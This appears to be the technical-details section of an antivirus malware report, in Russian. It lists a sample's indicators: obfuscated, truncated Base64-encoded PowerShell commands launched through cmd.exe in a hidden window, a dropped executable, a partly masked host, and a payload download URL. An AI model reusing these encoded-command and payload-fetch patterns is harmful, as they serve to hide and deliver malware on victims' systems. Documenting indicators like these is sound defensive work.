Техническая информация
- '<SYSTEM32>\cmd.exe' & /C pOWErSHELL -EnCODeDCOMMaNd ZgB1AG4AYwB0AGkAbwBuACAAawBMAHcAcABaAHoAdQBBAFUAWAB6AFgAdwB5AEYAIAAoACAAJABUAGIAeABuAEIAZABvAEkASwBsAEUARABEAGUAdwBmAEYARABPAGMAcgBaAE4ARgAgACwAIAAkAFEAZQBEAGYAe...
- %HOMEPATH%\wmlweidhdsqq.exe
- 'm.####adedit.com':80
- http://m.####adedit.com/bbtc/1522878794433.pdf
- DNS ASK m.####adedit.com
- '<SYSTEM32>\cmd.exe' & /C pOWErSHELL -EnCODeDCOMMaNd ZgB1AG4AYwB0AGkAbwBuACAAawBMAHcAcABaAHoAdQBBAFUAWAB6AFgAdwB5AEYAIAAoACAAJABUAGIAeABuAEIAZABvAEkASwBsAEUARABEAGUAdwBmAEYARABPAGMAcgBaAE4ARgAgACwAIAAkAFEAZQBEAGYAe...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EnCODeDCOMMaNd ZgB1AG4AYwB0AGkAbwBuACAAawBMAHcAcABaAHoAdQBBAFUAWAB6AFgAdwB5AEYAIAAoACAAJABUAGIAeABuAEIAZABvAEkASwBsAEUARABEAGUAdwBmAEYARABPAGMAcgBaAE4ARgAgACwAIAAkAFEAZQBEAGYAegBNAE8AYQBnAGMAS...